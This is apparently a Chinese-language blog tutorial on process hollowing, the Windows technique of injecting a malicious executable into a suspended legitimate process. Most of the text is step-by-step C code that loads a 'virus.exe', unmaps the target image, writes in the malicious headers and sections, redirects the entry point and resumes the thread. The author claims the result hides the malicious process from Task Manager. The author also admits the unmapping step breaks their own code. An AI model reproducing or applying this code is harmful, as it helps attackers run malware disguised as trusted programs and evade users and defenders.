傀儡进程

傀儡进程,一种病毒和恶意软件很喜欢用的隐藏自身的手段。如果你觉得这个名字攻击性太强了,也可以叫它“PE文件映像切换技术”。简单来说就是先创建一个挂起的合法进程,然后掏空它的进程内存,接着在里面放上我们的恶意代码,最后再将该进程恢复。这样,我们就拿到了一个有着合法的名字、启动路径等信息但执行危险行为的进程。

代码实现

准备恶意代码

将恶意程序存储在lpBuffer中。

1
2
3
4
5
6
HANDLE hFile = CreateFileW(L"path\\to\\virus.exe", GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);
LPVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD dwReadLength = 0;
ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL);
CloseHandle(hFile);

创建挂起进程

1
2
3
4
5
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
CreateProcessW(L"path\\to\\target.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

卸载内存空间

获取目标进程基址。
程序以挂起状态被创建时ebx指向PEB结构体,而PEB+8的地方存放ImageBase,获取其值存入lpImageBase。

1
2
3
4
5
6
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);

PVOID lpImageBase = 0;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL);

卸载目标进程映像。
有文章说只有目标进程基址和恶意代码基址相同的时候才需要卸载。事实确实如此,但是为什么?
实际上对于我的代码,不卸载才能正常运行,而卸载后反而不能正常运行了。。。

1
2
3
typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID);
FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection");
NtUnmapViewOfSection(pi.hProcess, lpImageBase);

修改目标进程加载基址为恶意代码的加载基址。

1
2
3
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer;//程序最开头的数据就是DOS头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)lpBuffer);
WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + 8), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL);

写入恶意代码

在目标进程中申请内存空间,并写入DOS头、NT头和节表。

1
2
LPVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfHeaders, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);

由于各个节在映像中的地址需要对齐,因此不能一股脑全都复制进去,要一个节一个节地复制。

1
2
3
4
5
6
PIMAGE_SECTION_HEADER pSection = {};
for (i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i));
WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSection->VirtualAddress), ((LPBYTE)lpBuffer + pSection->PointerToRawData), pSection->SizeOfRawData, NULL);
}

唤醒傀儡进程

修改程序入口点。
以挂起状态创建进程时程序的入口点会存储在eax中。

1
2
ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint);
SetThreadContext(pi.hThread, &ctx);

唤醒。

1
ResumeThread(pi.hThread);

效果展示

任务管理器找不到恶意进程,但恶意进程正在运行。

参考

病毒木马常用手段之偷天换日
PE映像切换技术(Process Hollowing)不需要填充IAT表和进行重定位的原因
PE文件结构[诶嘿]